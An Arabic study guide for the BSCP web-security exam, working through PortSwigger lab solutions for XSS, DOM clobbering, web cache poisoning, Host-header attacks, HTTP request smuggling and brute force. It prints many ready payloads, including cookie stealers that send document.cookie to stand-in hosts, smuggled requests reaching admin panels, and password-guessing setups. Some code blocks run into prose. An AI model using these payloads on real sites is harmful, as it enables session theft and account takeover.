#### ترقية stored self-XSS
>تعليق على مدونة يحتوي على **Stored self-XSS**، مع ترقية الحمولة لسرقة معلومات الضحية من DOM. الدالة **edit content** تعكس الإدخال داخل وسم `<script>`. رمز CSRF لوظيفة **write comment** هو نفسه الخاص بوظيفة **edit content**. الحمولة أدناه تستخدم وظيفة **write comment** لجعل الضحية ينشئ إدخال مدونة في مدونته الخاصة بمحتوى خبيث لدينا.
>الحرف `a` يُضاف للهروب من رمز `#` الموجود في `source code` الأصلي للتطبيق.
>إن `source code` أدناه في إدخال المدونة هو استغلال كامل لسرقة معلومات الضحية.```html
<button form=comment-form formaction="/edit" id=share-button>Click Button</button>
<input form=comment-form name=content value='<meta http-equiv="refresh" content="1; URL=/edit" />'>
<input form=comment-form name=tags value='a");alert(document.getElementsByClassName("navbar-brand")[0].innerText)//'>
يتم استغلال هذا الهدف عن طريق بناء حقن HTML يكتب فوق متغيّر باسم
share_button، انظرsource codeأدناه، ويستخدم كود HTML أعلاه. ينعكس المحتوى على الصفحة، ثم عبر استخدام هذا الانعكاس يتم تمكين إعادة توجيه الصفحة إلى صفحة/editالخاصة بالضحية باستخدام وسمmeta http-equivلتحديث الصفحة بعد ثانية واحدة، مما ينتج عنه إعادة التوجيه.
```
https://challenge-1222.intigriti.io/blog/unique-guid-value-abc123?share=1
>تسليم الاستغلال، عبر إرسال رابط يشير إلى إدخال المدونة أعلاه إلى الضحية سيؤدي إلى تشغيل XSS بصلاحياته.
[intigriti - ترقية Self-XSS - حل تحدي XSS ليوم 22 ديسمبر](https://youtu.be/FowbZ8IlU7o)
>استغلال بديل باستخدام حقن HTML في صفحة إدخال تحرير المحتوى بالمدونة، ***تم تحديده*** باستخدام [فحص موارد CSP الخاصة بـ XSS](#xss-resources).```
<base href="https://Exploit.net">
استضف ملف JS على خادم Exploit باسم
static/js/bootstrap.bundle.min.js، بالمحتوى التالي:``` alert(document.getElementsByClassName("navbar-brand")[0].innerText)
> الحمولة المعدّلة لمختبر PortSwigger تُسند دالة `document.location` إلى المتغير `defaultAvatar` في المرة التالية التي تُحمَّل فيها الصفحة، لأن الموقع يستخدم DOMPurify الذي يسمح باستخدام بروتوكول `cid:` الذي لا يرمّز علامات الاقتباس المزدوجة عبر URLencode.```
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=document.location=`https://OASTIFY.COM/?clobber=`+document.cookie//">
مختبر PortSwigger: استغلال DOM clobbering لتمكين XSS
في
source codeالخاص بـ JavaScript، وتحديدًا في السكربت المُضمّنresources/js/loadCommentsWithVulnerableEscapeHtml.js، نحدد دالةhtml.replace()داخل الدالة المخصصةloadComments. عند اختبار الـ payloads نلاحظ أن الدالة تستبدل أول ظهور فقط لـ<>.
```html
<>
>الحمولة أعلاه تُخزَّن، وأي مستخدم يزور مدونة التعليقات سيؤدي إلى سرقة ملف تعريف الارتباط الخاص بجلسته وإرساله إلى Collaborator.

>حمولة مختبر PortSwigger: `<>`.
[مختبر PortSwigger: DOM XSS المخزّن](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-stored)
-----
## تسميم ذاكرة التخزين المؤقت للويب
[ترويسة غير محسوبة في المفتاح](#unkeyed-header)
[معامل Utm_content غير المحسوب في المفتاح](#unkeyed-utm_content)
[إخفاء معامل utm_content](#cloaking-utm_content)
[تسميم الطلب المُلتبس](#poison-ambiguous-request)
[تسميم ذاكرة التخزين المؤقت عبر رؤوس متعددة](#cache-poison-multiple-headers)
### ترويسة غير محسوبة في المفتاح
>الهدف يستخدم JavaScript الخاص بـ **tracking.js**،
>وهو عرضة لترويسة **```X-Forwarded-Host```** أو **```X-Host```** التي تعيد توجيه المسار،
>مما يسمح بسرقة ملف تعريف الارتباط عن طريق تسميم ذاكرة التخزين المؤقت.
>***حدد*** ترويسات ذاكرة التخزين المؤقت للويب في الاستجابة وسكربت tracking.js في كود مصدر الصفحة.
>استغل الثغرة باستضافة JavaScript وحقن الترويسة لتسميم ذاكرة التخزين المؤقت للهدف لإعادة توجيه ضحية تزور الموقع.
```html
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net

الاستضافة على خادم الاستغلال، وحقن ترويسة
X-Forwarded-Hostفي الطلب، وتسميم ذاكرة التخزين المؤقت حتى يصل الضحية إلى ذاكرة التخزين المؤقت المسمومة.``` /resources/js/tracking.js

>يقوم النص البرمجي بإرسال ملف تعريف الارتباط الخاص بالجلسة إلى خدمة التعاون.```javascript
document.location='https://OASTIFY.COM/?cookies='+document.cookie;
استمر في تسميم ذاكرة التخزين المؤقت للهدف عن طريق إعادة إرسال الطلب مع ترويسة
X-Forwarded-Host.

PortSwigger Lab: تسميم ذاكرة التخزين المؤقت للويب باستخدام ترويسة غير مفتاحية
فيديو يوتيوب يعرض حمولة المختبر أعلاه على خادم الاستغلال المعدّل لسرقة ملف تعريف ارتباط الضحية عندما يصل الضحية إلى إدخال مخزّن مؤقتًا على الخادم الخلفي. الحمولة هي JavaScript أعلاه.
YouTube: تسميم ذاكرة التخزين المؤقت للويب باستخدام ترويسة غير مفتاحية - سارق ملفات تعريف الارتباط
إضافة Param Miner لتحديد ثغرات ذاكرة التخزين المؤقت للويب
الهدف معرّض لتسميم ذاكرة التخزين المؤقت للويب لأنه يستبعد معاملًا معينًا من مفتاح التخزين المؤقت. ستعمل ميزة "تخمين معاملات GET" في Param Miner على تحديد المعامل على أنه utm_content.
```
GET /?utm_content='/>
>يتم تخزين الحمولة أعلاه في الكاش، ويتم إرسال كوكي الضحية الذي يزور الهدف إلى Burp Collaborator.

[مختبر PortSwigger: تسميم ذاكرة التخزين المؤقت عبر معامل استعلام غير مفتاحي](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-unkeyed-param)
### إخفاء utm_content
>إضافة Param Miner التي تقوم بعمل `Bulk scan > Rails parameter cloaking scan` ستقوم ***بتحديد*** الثغرة تلقائيًا. يدويًا يمكن تحديدها بإضافة `;` لإلحاق معامل إضافي بـ `utm_content`، حيث يتعامل الكاش مع هذا كمعامل واحد. هذا يعني أن المعامل الإضافي يُستبعد أيضًا من مفتاح الكاش.
>يتم استدعاء `الكود المصدري` الخاص بـ `/js/geolocate.js?callback=setCountryCookie` في كل صفحة وتنفيذ دالة الاستدعاء.
>معامل `callback` هو معامل مفتاحي (keyed)، وبالتالي لا يمكن تسميم الكاش لمستخدم الضحية، ولكن من خلال دمج معامل مكرر مع `utm_content` فإنه يُستبعد ويمكن تسميم الكاش.```
GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=EVILFunction

حمولة التقاط الكوكيز الخاصة بإخفاء ذاكرة التخزين المؤقت أدناه، استمر في تسميم ذاكرة التخزين المؤقت حتى يصل الضحية إلى ذاكرة التخزين المؤقتة المخزنة.``` GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://OASTIFY.COM?nuts='%2bdocument.cookie%3b HTTP/2
>فيما يلي حمولة [Url Decoded](https://www.urldecoder.org/).```
GET/js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://OASTIFY.COM?nuts='+document.cookie; HTTP/2
PortSwigger Lab: Parameter cloaking
إضافة ترويسة Host ثانية مع خادم استغلال، هذا الأمر يحدد ثغرة تخزين مؤقت غامضة ويوجّه طلبك. لاحظ أن خادم الاستغلال في ترويسة Host الثانية ينعكس في عنوان URL مطلق يُستخدم لاستيراد سكربت من
/resources/js/tracking.js.```html Host: TARGET.net Host: exploit.net
>على خادم الاستغلال، ضع ملفًا بنفس المسار الذي يستدعيه الهدف إلى ```/resources/js/tracking.js```، سيحتوي هذا على الحمولة. ضع كود الحمولة بـ JavaScript أدناه لإنشاء سارق ملفات تعريف الارتباط.```
document.location='https://OASTIFY.COM/?CacheCookies='+document.cookie;

مختبر PortSwigger: تسميم ذاكرة التخزين المؤقت عبر الطلبات الغامضة
حدد رؤوس إصابة ذاكرة التخزين المؤقت في الاستجابات،
ثم اختبر ما إذا كان الهدف يدعم رؤوسX-Forwarded-HostأوX-Forwarded-Scheme.
يمكن أن تسمح هذه الرؤوس بسرقة ملف تعريف ارتباط الجلسة الخاص بالضحية.
حدد ما إذا كانت إضافة الرأسين Forwarded إلى طلب GET
/resources/js/tracking.jsتؤدي إلى تغيير في رأس استجابة location. هذا يحدد التسميم الإيجابي لذاكرة التخزين المؤقت برؤوس متعددة.```html GET /resources/js/tracking.js?cb=123 HTTP/2 Host: TARGET.net X-Forwarded-Host: EXPLOIT.net X-Forwarded-Scheme: nothttps

>على خادم الاستغلال، غيّر مسار الملف إلى `/resources/js/tracking.js`
>ثم حدّث ترويسة طلب التسميم `X-Forwarded-Host: EXPLOIT.net`.
>ضع الحمولة في جسم خادم الاستغلال.```html
document.location='https://OASTIFY.COM/?poisoncache='+document.cookie;
قم بإزالة مُبطل الكاش
cb=123، ثم سمّم الكاش حتى تتم إعادة توجيه الضحية إلى خادم الاستغلال tracking.js لسرقة كوكي الجلسة.
مختبر PortSwigger: تسميم الكاش عبر رؤوس متعددة
حدد أن التطبيق معرّض للتسمم بالمعامل المكرر، وذلك بإضافة معامل ثانٍ بنفس الاسم بقيمة مختلفة، فعكست الاستجابة القيمة المحقونة.
```
GET /js/geolocate.js?callback=setCountryCookie&callback=FUZZERFunction; HTTP/2
>الدالة التي يتم استدعاؤها في الاستجابة عن طريق تمرير معامل استدعاء مكرر تنعكس. لاحظ في الاستجابة أن مفتاح التخزين المؤقت لا يزال مشتقًا من معامل الاستدعاء الأصلي في سطر طلب GET.

>غير قادر على جعل حمولة سرقة الكوكيز تعمل......
[مختبر PortSwigger: تسميم ذاكرة التخزين المؤقت للويب عبر طلب GET بحمولة](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
-----
## ترويسات المضيف
[انتحال عنوان IP](#spoof-ip-address)
[حالة اتصال المضيف](#host-connection-state)
[SSRF القائم على توجيه المضيف](#host-routing-based-ssrf)
[SSRF عبر تحليل طلب المضيف المعيب](#absolute-get-url--host-ssrf)
### انتحال عنوان IP
>***تعرّف*** على أن ترويسات المضيف المعدّلة مدعومة،
>وهو ما يسمح لك بانتحال عنوان IP وتجاوز حماية القوة الغاشمة القائمة على IP
>أو هجمات إعادة التوجيه للقيام بتسميم ***إعادة تعيين كلمة المرور***.
>قم بتضمين ترويسات `X- ` أدناه وغيّر معامل اسم المستخدم في طلب إعادة تعيين كلمة المرور إلى `Carlos` قبل إرسال الطلب.
>في اختبار BSCP، إذا استخدمت هذا الاستغلال فهذا يعني أنك لم تستخدم ثغرة تتطلب تفاعل المستخدم وتسمح لك باستخدام ثغرة تفاعلية للوصول إلى المرحلة 3 كمسؤول باستخدام وظيفة خادم الاستغلال `Deliver exploit to victim`.```html
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net
X-Forwarded-Server: EXPLOIT.net
نصائح وملاحظات من fullfox:
Host: أو X-Forwarded-Host:، إذا تلقيت الخطأ Invalid hostname، جرّب استخدام اسم المضيف التالي: xxx.oastify.com?TARGET.net عنوان الهدف الشرعي دون شرطة مائلة.تحقق من سجل خادم الاستغلال للحصول على رابط إعادة التعيين الخاص باسم مستخدم الضحية.

مختبر PortSwigger: تسميم إعادة تعيين كلمة المرور عبر الوسيط
الهدف معرّض لـ SSRF القائم على التوجيه عبر ترويسة Host، لكن تحقق من حالة اتصال الطلب الأول. إرسال الطلبات المجمّعة بالتتابع باستخدام اتصال واحد وتعيين ترويسة الاتصال إلى keep-alive يتجاوز التحقق من ترويسة المضيف ويمكّن من استغلال SSRF للخادم المحلي.```html GET / HTTP/1.1 Host: TARGET.net Cookie: session=ValueOfSessionCookie Content-Length: 48 Content-Type: text/plain;charset=UTF-8 Connection: keep-alive
>الطلب التالي هو التبويب الثاني في تسلسل مجموعة الطلبات.```html
POST /admin/delete HTTP/1.1
Host: localhost
Cookie: _lab=YOUR-LAB-COOKIE; session=YOUR-SESSION-COOKIE
Content-Type: x-www-form-urlencoded
Content-Length: 53
csrf=TheCSRFTokenValue&username=carlos
لاحظ أن الطلب الثاني نجح في الوصول إلى لوحة الإدارة.

PortSwigger Lab: Host validation bypass via connection state attack
بنية تتكون من خادم أمامي وخادم خلفي، ولا يدعم الخادم الأمامي أو الخلفي الترميز المجزأ (HEX) أو content-length (Decimal). تجاوز ضوابط الأمان لاسترجاع طلب الضحية واستخدم ملفات تعريف الارتباط الخاصة بمستخدم الضحية للوصول إلى حسابه.
TE.CL dualchunk - Transfer-encoding obfuscated
TE.CL multiCase - Admin blocked
CL.TE multiCase - Admin blocked
CL.TE multiCase - Content-Length Cookie Stealer
CL.TE multiCase - User-Agent Cookie Stealer
HTTP/2 smuggling - CRLF injection Cookie Stealer
HTTP/2 TE - Admin Cookie Stealer
إذا كانت الأسماء المكررة للترويسات مسموحًا بها، وتم اكتشاف الثغرة على أنها dualchunk، فقم بإضافة ترويسة إضافية بالاسم والقيمة = Transfer-encoding: cow. استخدم تقنيات الإخفاء مع TE الثانية.``` Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding : chunked
Transfer-encoding: identity Transfer-encoding: cow
>يمكن حث بعض الخوادم التي تدعم ترويسة `Transfer-Encoding` على عدم معالجتها إذا كانت الترويسة **مبهمة** بطريقة ما.
>من قائمة Repeater تأكد من أن خيار **"Update Content-Length"** غير محدد.```html
POST / HTTP/1.1
Host: TARGET.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: identity
e6
GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?c='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0\r\n
\r\n

ملاحظة: يجب تضمين التسلسل اللاحق \r\n\r\n بعد 0 النهائي.
مختبر PortSwigger: تهريب طلبات HTTP، إخفاء ترويسة Transfer-Encoding (TE)
أتساءل كم مرة يحدث هذا السيناريو حيث يتمكن المخترق من سرقة طلب المستخدم الزائر عبر ثغرة HTTP Sync؟
عند محاولة الوصول إلى مسار بوابة
/admin، نحصل على رسالة الفلتر:Path /admin is blocked. ماسح HTTP Request Smuggler يحدد الثغرة على أنهاTE.CL multiCase (delayed response). ملاحظة: نظرًا لأن الخادم الخلفي لا يدعم ترميز chunked، قم بإيقاف تشغيلUpdate Content-Lengthفي قائمة Repeater.
بعد تعطيل تحديث طول المحتوى تلقائيًا، والتحويل إلى
HTTP/1.1، أرسل الطلب أدناه مرتين، مع إضافة الترويسة الثانيةContent-Length: 15لمنع تعارض ترويسة HOST مع الطلب الأول.
ملاحظة: يجب تضمين التسلسل اللاحق\r\n\r\nبعد0النهائي.
الإصلاح اليدوي لحقول الطول في هجمات تهريب الطلبات يتطلب أن يكون حجم كل chunk بالبايت معبرًا عنه بـ سداسي عشري، وContent-Length يحدد طول نص الرسالة بالـ بايت. تتبع الـ chunks بـ سطر جديد، ثم تتبعها محتويات الـ chunk. تنتهي الرسالة بـ chunk بحجم صفر.```html POST / HTTP/1.1 Host: TARGET.net Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked
71 POST /admin HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 15
x=1 0
>حساب طول طلب تهريب TE.CL (Transfer-Encoding / Content-Length) بصيغة **HEXADECIMAL**، والحمولة تقع بين الطول السداسي العشري **71** وعلامة **ZERO** الختامية، دون تضمين ZERO وبدون `<CRLF>` السابق في السطر الذي يعلو ZERO كجزء من الطول. يتم تعيين **content-length** لطلب POST الأولي يدويًا.

>عند إرسال `/admin/delete?username=carlos` لحذف المستخدم، يتغير طول ترميز النقل (transfer encoding) من `71` إلى القيمة السداسية العشرية `88` لتضمين حجم الطلب المُهرَّب الإضافي.
[PortSwigger Lab: Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability](https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl)
### CL.TE متعدد الحالات - Admin محظور
>عند محاولة الوصول إلى مسار URL الخاص ببوابة `/admin`، نحصل على رسالة التصفية `Path /admin is blocked`. يحدد ماسح HTTP Request Smuggler ***الضعف*** على أنه `CL.TE multiCase (delayed response)`.
>للوصول إلى لوحة الإدارة، أرسل الطلب أدناه مرتين، مع إضافة الترويسة الثانية ```Content-Length: 10``` لمنع تعارض رأس HOST مع الطلب الأول.```html
POST / HTTP/1.1
Host: TARGET.net
Cookie: session=waIS6yM79uaaNUO4MnmxejP2i6sZWo2E
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
tRANSFER-ENCODING: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=
عند إرسال الطلب للمرة الثانية، يتم إرجاع بوابة الإدارة في الاستجابة.

مختبر PortSwigger: استغلال تهريب طلبات HTTP لتجاوز ضوابط الأمان في الواجهة الأمامية، ثغرة CL.TE
Content-Length كبير لالتقاط طلبات الضحية. إرسال طلب POST مع طلب مُهرّب ولكن طول المحتوى أطول من الطول الحقيقي، وعندما يتصفح الضحية، يتم إرسال قيمة جلسته عبر ملف تعريف الارتباط إلى تعليق blob. تمت زيادة Content-Length لطلب نشر التعليق إلى 798، ثم تم تهريب طلب POST إلى الخادم الخلفي.```html POST / HTTP/1.1 Host: TARGET.net Content-Type: application/x-www-form-urlencoded Content-Length: 242 Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 798 Cookie: session=HackerCurrentCookieValue
csrf=ValidCSRFCookieValue&postId=8&name=c&email=c%40c.c&website=&comment=c

>لا يوجد سطر جديد في نهاية طلب POST المُهرَّب أعلاه^^.
>انظر إلى **منشور** المدونة لمعرفة ما إذا كان هناك تعليق يحتوي على طلب مستخدم. لاحظ أن الهجوم لن ينجح إلا بعد أن يتصفح المستخدم الضحية موقع الهدف. انسخ ترويسة Cookie الخاصة بالمستخدم من تعليق منشور المدونة، واستخدم الكوكي للوصول إلى حساب الضحية.

[مختبر PortSwigger: استغلال تهريب طلبات HTTP لالتقاط طلبات المستخدمين الآخرين](https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests)
### CL.TE multiCase - سارق كوكيز User-Agent
>***حدد*** قيمة UserAgent المخزنة في طلب GET الذي يُحمِّل نموذج تعليق المدونة، وكذلك المخزنة في القيمة المخفية **User-Agent**. استغلال تهريب طلبات HTTP لتسليم XSS منعكسة باستخدام قيمة **User-Agent** التي يتم وضعها بعد ذلك في طلب مُهرَّب.
>حمولة Cross Site Scripting أساسية تهرب خارج مستند HTML.```JavaScript
"/><script>alert(1)</script>
COOKIE STEALER Payload.```JavaScript a"/>;
>قم بتهريب طلب XSS هذا إلى الخادم الخلفي، بحيث يستغل الزائر التالي. ضع أداة سرقة الكوكيز عبر XSS في ترويسة **User-Agent**.```html
POST / HTTP/1.1
Host: TARGET.net
Content-Length: 237
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
0
GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?Hack='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
x=1

تحقق من طلب PortSwigger Collaborator المستلم من الضحية أثناء تصفح الهدف.

مختبر PortSwigger: استغلال تهريب طلبات HTTP لتسليم XSS منعكسة
الهدف معرّض لتهريب الطلبات لأن الخادم الأمامي يخفض طلبات HTTP/2 ولا يقوم بتعقيم الرؤوس الواردة بشكل كافٍ. يتم الاستغلال باستخدام ناقل تهريب طلبات خاص بـ HTTP/2 لسرقة ملف تعريف ارتباط الجلسة الخاص بالضحية والوصول إلى حساب المستخدم.
حدد الثغرة المحتملة عندما يعكس الهدف سجل البحث السابق والحديث بناءً على ملف تعريف الارتباط، وبإزالة ملف تعريف الارتباط يُلاحظ أن سجل البحث الخاص بك يُعاد تعيينه، مما يؤكد أنه مرتبط بملف تعريف ارتباط الجلسة الخاص بك.

قم بتوسيع قسم Request Attributes في أداة Inspector وغيّر البروتوكول إلى HTTP/2، ثم أضف ترويسة عشوائية
fooبقيمةbar، متبوعة بالتسلسل\r\n، ثمTransfer-Encoding: chunked، بالضغط على shift+ENTER.

ملاحظة: فعّل خيار Allow HTTP/2 ALPN override وغيّر نص طلب HTTP/2 إلى طلب POST أدناه.```html 0
POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Cookie: session=HACKER-SESSION-COOKIE Content-Length: 800
search=nutty

[مختبر PortSwigger: تهريب طلبات HTTP/2 عبر حقن CRLF](https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-smuggling-via-crlf-injection)
[عرض يوتيوب: تهريب طلبات HTTP/2 عبر حقن CRLF](https://youtu.be/E-bnCGzl7Rk)
### HTTP/2 TE desync v10a h2path
>الهدف معرّض لتهريب الطلبات لأن الخادم الأمامي يخفّض طلبات HTTP/2 حتى عندما يكون طولها غامضًا. اسرق ملف تعريف ارتباط الجلسة الخاص بالمسؤول الذي يزور الهدف. سيحدد امتداد Burp، **HTTP Request Smuggler**، الثغرة ***على أنها*** ثغرة HTTP/2 TE desync v10a (H2.TE).

>ملاحظة: بدّل إلى **HTTP/2** في سمات الطلب في Inspector، وفعّل خيار **Allow HTTP/2 ALPN override** في قائمة Repeater.```html
POST /x HTTP/2
Host: TARGET.net
Transfer-Encoding: chunked
0
GET /x HTTP/1.1
Host: TARGET.web-security-academy.net\r\n
\r\n
ملاحظة: المسارات في طلبات POST وGET تشير إلى نقاط نهاية غير موجودة. يساعد هذا في تحديد أنه عند عدم الحصول على استجابة 404، تكون الاستجابة من طلب تم التقاطه من المستخدم الضحية. تذكر إنهاء الطلب المُهرَّب بشكل صحيح من خلال تضمين التسلسل
\r\n\r\nبعد ترويسة Host.

انسخ قيمة كوكي الجلسة المسروقة في طلب GET جديد http/2 إلى لوحة الإدارة.``` GET /admin HTTP/2 Host: TARGET.web-security-academy.net Cookie: session=VictimAdminSessionCookieValue Cache-Control: max-age=0

[مختبر PortSwigger: تسميم قائمة انتظار الاستجابة عبر تهريب طلبات H2.TE](https://portswigger.net/web-security/request-smuggling/advanced/response-queue-poisoning/lab-request-smuggling-h2-response-queue-poisoning-via-te-request-smuggling)
-----
## القوة الغاشمة
[البقاء مسجلاً](#stay-logged-in)
[اختراق البقاء مسجلاً دون اتصال](#stay-logged-in-offline-crack)
[تسجيل دخول محمي ضد القوة الغاشمة](#brute-force-protected-login)
[تسجيل دخول غير صالح بمهارة](#subtly-invalid-login)
### البقاء مسجلاً
>خيار تسجيل الدخول مع مربع اختيار البقاء مسجلاً يؤدي إلى قيمة Cookie تحتوي على كلمة مرور المستخدم المسجل، وهو عرضة لهجوم القوة الغاشمة.

>خطوات الاستغلال أدناه بالإضافة إلى قواعد معالجة حمولة Intruder بالترتيب، بما في ذلك خيار GREP بالتسلسل قبل بدء الهجوم.
1. سجّل الخروج من حساب المستخدم الحالي.
2. أرسل أحدث طلب GET /my-account إلى Burp Intruder.
3. حدد الكوكي: ```stay-logged-in``` كموضع للحقن.
4. التجزئة: ```MD5```
5. أضف البادئة: ```carlos:```
6. الترميز: ```Base64-encode```
7. أضف **GREP** ضمن علامة التبويب إعدادات للتحقق من السلسلة ```Update email``` في الاستجابة، مما يشير إلى نجاح تسجيل الدخول في الهجوم.

[مختبر PortSwigger: تخمين كوكي البقاء مسجلاً](https://portswigger.net/web-security/authentication/other-mechanisms/lab-brute-forcing-a-stay-logged-in-cookie)
### اختراق البقاء مسجلاً دون اتصال
>دالة التعليقات في تطبيق المدونة عرضة لـ [XSS المخزّنة](#stored-xss)، استخدم الحمولة أدناه في تعليق المدونة لإرسال كوكي جلسة Carlos إلى خادم الاستغلال.```
<script>
document.location='https://EXPLOIT.net/StealCookie='+document.cookie
</script>
فك ترميز قيمة ملف تعريف الارتباط
stay-logged-inباستخدام Base64 واستخدم قاعدة بيانات محطة تكسير تجزئة MD5 عبر الإنترنت.

معمل PortSwigger: تكسير كلمة المرور دون اتصال
تم تحديد حماية القوة الغاشمة عند تسجيل الدخول عندما يفرض الخادم الخلفي حظرًا لمدة 30 دقيقة، مما يؤدي إلى حظر عنوان IP بعد عدد كبير جدًا من محاولات الدخول غير الصالحة. اختبار ترويسة
X-Forwarded-For:يؤدي إلى تجاوز حماية القوة الغاشمة. ملاحظة زمن الاستجابة مع كلمة مرور طويلة غير صالحة، يعني أنه يمكننا استخدام تقنية Pitchfork لـتحديد أسماء المستخدمين الصحيحة الأولى مع كلمة مرور عشوائية طويلة ثم إعادة تشغيل Intruder باستخدام Pitchfork، مع ضبط كل موضع حمولة هجوم ليكرر عبر جميع المجموعات في وقت واحد.
قوائم كلمات اختبار Burp لاسم المستخدم وكلمة المرور وفحص الدلائل
موضع الحمولة 1 على عنوان IP لـ
X-Forwarded-For:وموضع 2 على اسم المستخدم مع كلمة مرور طويلة لرؤية تأخير زمن الاستجابة في نافذة أعمدة الهجوم.``` X-Forwarded-For: 12.13.14.15

>كرر هجوم **Pitchfork** أعلاه على حقل كلمة المرور ثم ***حدد*** كلمة المرور الصالحة من عمود الحالة بنتيجة 302.
[مختبر PortSwigger: تعداد اسم المستخدم عبر توقيت الاستجابة](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-response-timing)
### تسجيل دخول غير صالح بشكل خفي
>***حدد*** أن صفحة تسجيل الدخول وإعادة تعيين كلمة المرور غير محمية ضد هجوم القوة الغاشمة، ولا يوجد حظر لعنوان IP أو انتهاء مهلة مفروض لأسماء المستخدمين أو كلمات المرور غير الصالحة.
>نصيحة لامتحان BSCP، يوجد أحيانًا مستخدم آخر بكلمة مرور ضعيفة يمكن تخمينها بالقوة الغاشمة. كارلوس ليس دائمًا الحساب المستهدف لمنح وصول أولي في المرحلة 1.

>لاحظ في عمود هجوم Intruder لقيمة GREP، ```Invalid username or password.``` أن رسالة الاستجابة الواحدة لهجوم اسم مستخدم فاشل لا تحتوي على نقطة في النهاية. كرر الهجوم باستخدام اسم المستخدم ***المحدد***، واهجم على حقل كلمة المرور بهجوم **Sniper** لتحديد ```302``` للاستجابة لتسجيل الدخول الصالح.

>في امتحان BSCP ***انتبه*** للرسائل الأخرى التي يتم إرجاعها وتكون مختلفة وتكشف عن حسابات صالحة على التطبيق وتسمح بتحديد كلمات مرور الحسابات بالقوة الغاشمة، مثل المثال في وظيفة [إعادة تعيين كلمة المرور](#refresh-password-broken-logic).
>بمجرد تحديد اسم مستخدم صالح من رسالة استجابة مختلفة، قم بتنفيذ [هجوم القوة الغاشمة](#brute-force) باستخدام Burp Intruder على كلمة المرور.
[مختبر PortSwigger: تعداد اسم المستخدم عبر استجابات مختلفة بشكل خفي](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-subtly-different-responses)
>سيناريو آخر لتحديد اسم مستخدم صالح على تطبيق الويب هو توفير قائمة بأسماء المستخدمين عند تسجيل الدخول وقيمة كلمة مرور واحدة غير صالحة. وستحتوي إحدى نتائج هجوم Intruder على رسالة `Incorrect password`.
>موضع حقن هجوم Intruder، `username=§invalid-username§&password=SomeStupidLongCrazyWrongSecretPassword123456789`.
[مختبر PortSwigger: تعداد اسم المستخدم عبر استجابات مختلفة](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses)
-----
## المصادقة
[تسجيل الحساب](#account-registration)
[تجاوز رمز المصادقة عبر ماكرو](#auth-token-bypass-macro)
### تسجيل الحساب
>خلل في منطق الأعمال في ميزة تسجيل الحساب يسمح بالحصول على وصول أولي بدور المستخدم المستهدف. [اكتشاف المحتوى](#content-discovery) يجد المسار ```/admin```، وتشير الرسالة إلى أن واجهة المشرف متاحة فقط عند تسجيل الدخول كمستخدم **DontWannaCry**.

>إنشاء بريد إلكتروني بأكثر من 200 حرف قبل رمز ```@``` يتم اقتطاعه بعد ذلك إلى 255 حرفًا. وهذا ***يحدد*** الثغرة في **خلل** منطق صفحة تسجيل الحساب. في البريد الإلكتروني أدناه، حرف ```m``` في نهاية ```@dontwannacry.com``` هو الحرف 255 بالضبط.```
very-long-strings-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-strings@dontwannacry.com.exploit-0afe007b03a34169c10b8fc501510091.exploit-server.net

مختبر PortSwigger: معالجة غير متناسقة للإدخال الاستثنائي
إذا كانت عملية تسجيل الدخول محمية ضد القوة الغاشمة باستخدام رمز عشوائي يُستخدم في كل طلب POST لتسجيل الدخول، فيمكن استخدام ماكرو Burp لتجاوز هذه الحماية.
إنشاء ماكرو Burp
Macros، وأضف ماكروًا جديدًا.Configure item وأضف موقع معلمة مخصصًا لاستخراجه.Include all URLs.
مختبر PortSwigger: ثغرة منطق المال اللانهائي - شرح كيفية إنشاء ماكرو Burp
OAuth
التحقق من Referer في CSRF
وجود ترويسة Referer
LastSearchTerm
CSRF مكرر في الكوكيز
وجود رمز CSRF
تسجيل الدخول
CSRF بدون دفاعات
تجاوز SameSite Strict
تجاوز SameSite Lax
